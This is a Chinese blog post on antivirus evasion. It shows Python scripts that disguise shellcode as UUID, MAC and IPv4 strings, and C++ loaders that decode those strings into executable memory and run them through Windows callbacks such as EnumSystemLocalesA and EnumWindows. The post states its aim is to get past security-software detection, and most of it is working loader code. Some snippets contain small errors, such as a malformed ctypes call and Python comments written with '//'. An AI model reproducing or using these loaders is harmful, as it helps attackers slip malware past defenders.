Shellcode转换之旅 UUID、MAC、IPV4

在学习免杀的过程中,发现这种转换思路换汤不换药,遂对这三种方式一起总结。简单来说,就是对shellcode进行了伪装,伪装成uuid、mac或ip地址。利用Windows自身提供的API来将封装好的shellcode写入到内存执行,大大增加查杀的难度。

另外,本文仅是免杀技术中的一点技巧,实际情况下,可以结合其他方式如加密、编码、分离等手段提升免杀效果。

本文用python对shellcode进行转换,用c++编写loader。

shellcode2uuid

uuid简介

uuid,通用唯一标识符,是一个标准的 128 位数字(通常以 32 个十六进制数字表示),用于在分布式系统中唯一标识信息。uuid 的生成算法保证了在大多数情况下,不同计算机生成的 uuid 是唯一的,即使在不同时间或空间中生成的 uuid 也是唯一的。

形如 8-4-4-4-12:

1
550e8400-e29b-41d4-a716-446655440000

每两个十六进制数占一个字节,因此一个uuid需要16字节。

转换

首先将包含shellcode的字节数组进行处理,确保为长度为16的倍数。然后再将shellcode划分成长16字节的块,并为每个块创建一个uuid,形成uuid列表,以c语言数组形式输出。

实现转换的函数:uuid.UUID

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import uuid  
# 字节字符串  
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8\xc8..."  
  
# 用于存放shellcode转换成的uuid  
uuid_list = []  
  
# 确保 shellcode 长度是 16 的倍数,用 NOP(\x90) 进行填充  
# NOP: 空操作,不执行任何操作,只是占用一个指令周期
if len(shellcode) % 16 != 0:  
    shellcode += b'\x90' * (16 - len(shellcode) % 16)  
  
# 每16字节为一组,遍历 shellcode
for i in range(0, len(shellcode), 16):  
    chunk = shellcode[i:i + 16]  
    # 为每组创建一个 UUID(GUID)  
    uuid_chunk = uuid.UUID(bytes_le=chunk)  
    uuid_list.append(str(uuid_chunk))  
  
#输出uuid的c语言数组形式  
uuids = "const char* uuids[] = {"  
for uuid in uuid_list:  
    uuids = uuids + f"\"{uuid}\","  
uuids = uuids[:-1] + "};"  
print(uuids)

loader

申请内存空间-转换为原始shellcode并复制到内存中-执行。 使用UuidFromStringA将字符串转换回原始的shellcode。 loader.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <Windows.h>
#include <stdio.h>
#include <rpc.h>
// 不显示黑窗口
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") 
// 预处理指令,告诉编译器在链接时将Rpcrt4.lib库文件包含到项目中,确保在编译时正确链接所需的库,在程序中使用RPC相关的功能。
#pragma comment(lib, "Rpcrt4.lib")

using namespace std;

const char* uuids[] = { "e48348fc-e8f0-00c8-0000-415141505251","d2314856-4865-528b-6048-8b5218488b52",... };

void main() {
	HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	// 分配0x1000000(1MB)大小的内存块
	void* buffer = HeapAlloc(hc, 0, 0x1000000);

	if (!buffer) return;
	// PBYTE是一个指向字节类型的指针,通常用于表示字节数据的地址。
	PBYTE buffer_backup = (PBYTE)buffer;

	// 统计uuid数组元素个数
	int elems = sizeof(uuids) / sizeof(uuids[0]);

	for (int i = 0;i < elems;i++) {
		// 将uuid转换为二进制字节序列
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)buffer_backup);
		// RPC_S_OK,通常用于指示 RPC 操作成功执行
		if (status != RPC_S_OK) {
			CloseHandle(buffer);
			return;
		}
		buffer_backup += 16;
	}
	// 调用回调函数
	EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, 0);

	CloseHandle(buffer);
}

shellcode2mac

mac简介

MAC地址(Media Access Control Address)由六组两位十六进制数(0-9 和 A-F)组成,每组之间用冒号(:)或短横线(-)分隔。例如,00:1A:2B:3C:4D:5E 或 00-1A-2B-3C-4D-5E 。

MAC地址是6字节。

转换

首先,通过循环将shellcode分割为长度为6的字节块,并使用 ctypes.windll.Ntdll.RtlEthernetAddressToStringA 函数将每个字节块转换为 MAC 地址形式。

shellcode2mac.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding = utf-8  
# python2  
import ctypes  
  
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8..."  

#申请内存
macmem = ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode)/6*17, 0x3000,0x40) 

#将shellcode划分成字节块(每六位划分,因为mac地址是六字节)
for i in range(len(shellcode)/6):  
	// 划分
    bytes_a = shellcode[i*6:i*6+6]  
    // 17是包括了mac地址中的分隔符每个地址字符串就是17的长度
    ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17) 

#string_at()是ctypes库中的一个函数,从指定内存地址读取数据并将其解释为字符串
#每个字节由2个字符(十六进制表示)表示,再加上一个额外分隔符
a = ctypes.string_at(macmem, len(shellcode) * 3 -1)  
  
list = []  

#每隔6个字节进行一次转换,内存地址递增17
for i in range(len(shellcode)/6):  
    d = ctypes.string_at(macmem+i*17,17)  
    list.append(d)  
  
s = '","'.join(list)
print('"'+s+'"')

代码写到这,对比前面的基于uuid的方式,同样是对shellcode做转换,mac地址这里并没有严格处理shellcode的长度,也就是判断其长度是否为6的倍数。经过验证,当最后一组不足6字节的时候,函数RtlEthernetAddressToStringA不会将其转换成mac地址。输出的时候会直接去掉不足6字节的部分。之后加载器在处理的时候,没有这部分照样可以成功上线,说明这部分数据在shellcode中是无意义的。

有的文章这部分的处理,会像之前转换成uuid之前那样,用\x00做填充处理

1
2
3
4
# 如果不能被6整除,就补充剩余的字节
if len(shellcode) % 6 != 0:
	replenish_byte = b"\x00" * (6 - len(shellcode) % 6)
	shellcode = shellcode + replenish_byte

loader

申请内存空间-转换为原始shellcode并复制到内存中-执行。 使用函数RtlEthernetStringToAddressA将其转换回原始shellcode。

loader.cpp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <windows.h>
#include<stdio.h>
#include <ip2string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
	const char* buf[] = { "FC-48-83-E4-F0-E8",...};

	// PCSTR是一个指向常量字符的指针类型,通常用于表示指向以 null 结尾的 ANSI 字符串的指针
	PCSTR lTerminator = NULL;

	LPVOID new_mem = VirtualAlloc(NULL, sizeof(buf) * 6, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	DWORD_PTR ptr = (DWORD_PTR)new_mem;

	// 计算mac个数
	int init = sizeof(buf) / sizeof(buf[0]);
	for(int i=0;i<init;i++){

		// 将以字符串形式表示的以太网地址转换为二进制形式的网络地址
		// DL_EUI48类型用于表示一个 48 位的 EUI(Extended Unique Identifier)地址。这种类型通常用于网络编程或通信领域,用于表示唯一的硬件地址。
		RPC_STATUS STATUS = RtlEthernetStringToAddressA((PCSTR)buf[i], &lTerminator,(DL_EUI48*)ptr);
		if (!NT_SUCCESS(STATUS)) {
			printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf[i], STATUS,
				GetLastError());
			return FALSE;
		}
		ptr += 6;
	}
	// 修改内存
	DWORD pflOldProtect = 0;
	VirtualProtect(new_mem, sizeof(buf) * 6, PAGE_EXECUTE, &pflOldProtect);
	// 回调函数调用。WNDENUMPROC是一个函数指针类型,在Windows编程中用于枚举窗口的回调函数
	EnumWindows((WNDENUMPROC)new_mem, NULL);
	return 0;
}

shellcode2ipv4

ipv4简介

IPv4标准地址格式为 x.x.x.x,其中 x 称为八位元,它必须是 0 与 255 之间的十进制值。各个八位元之间以句点分隔。

IPv6标准地址格式为 y:y:y:y:y:y:y:y,其中 y 称为,它可以是 0 与 FFFF 之间的任意十六进制值。这些段之间以冒号(而非句点)分隔。

转换成ipv4或者ipv6都差不多,只是在分段长度和转换函数上有区别。此处列出转换成ipv4的代码。

转换

首先判断shellcode长度是否能被整除【ipv4——4,ipv6——16】,若不能,剩余用\x00填充。

使用函数RtlIpv4AddressToStringA将原始shellcode转换成ipv4格式。 使用函数RtlIpv6AddressToStringA将原始shellcode转换成ipv6格式。

shellcode2ipv4.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: UTF-8 -*-  
# python2
import ctypes  
import sys  
  
buf = b"\xfc\x48\x83..."  
  
#如果不能被4整除,用\x00填充  
if len(buf) % 4 != 0:  
    replenish_byte = b'\x00' * (4 - len(buf) % 4)  
    buf = buf + replenish_byte  
  
shellcode = buf  
  
# 申请内存  
ipv4_address = ctypes.windll.kernel32.VirtualAlloc(0, ctypes.(len(shellcode) // 4 * 16), 0x3000, 0x40)  
  
# 将shellcode转换为ipv4字符串  
for i in range(len(shellcode) // 4):  
    cut_byte = shellcode[i * 4:4 + i * 4]  
    ctypes.windll.Ntdll.RtlIpv4AddressToStringA(cut_byte, ipv4_address + i * 16)  
  
ipv4_list = []  
# 获取IPv4 地址的字符串  
for i in range(len(shellcode) // 4):  
    ipv4_str = ctypes.string_at(ipv4_address + i * 16, 16)  
    ipv4_list.append(ipv4_str)  
  
s = '","'.join(ipv4_list)  
print('"'+s+'"')

loader

申请内存空间-转换为原始shellcode并复制到内存中-执行。 使用RtlIpv4StringToAddressA函数将其转换回原始shellcode。 使用RtlIpv6StringToAddressA函数将其转换回原始shellcode loader.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <windows.h>
#include <stdio.h>
#include <ip2string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
#pragma comment(lib,"ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status))>=0)
using namespace std;

int main() {
	const char* buf[] = { "252.72.131.228  ","240.232.200.0   ",...};
	PCSTR lTerminator = NULL;
	DWORD pflOldProtect = 0;
	LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	DWORD_PTR ptr = (DWORD_PTR)alloc_mem;

	int init = sizeof(buf) / sizeof(buf[0]);
	for (int i = 0; i < init; i++) {
		RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)buf[i], FALSE, &lTerminator,
			(in_addr*)ptr);
		if (!NT_SUCCESS(STATUS)) {
			printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf[i], STATUS,
				GetLastError());
			return FALSE;
		}
		ptr += 4;
	}
	VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE, &pflOldProtect);
	EnumWindows((WNDENUMPROC)alloc_mem, NULL);

	return 0;
}

总结

对比看来,这些转换方式不同之处在于分段长度和转换函数。其实就是对shellcode进行伪装,躲过杀软的检测。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行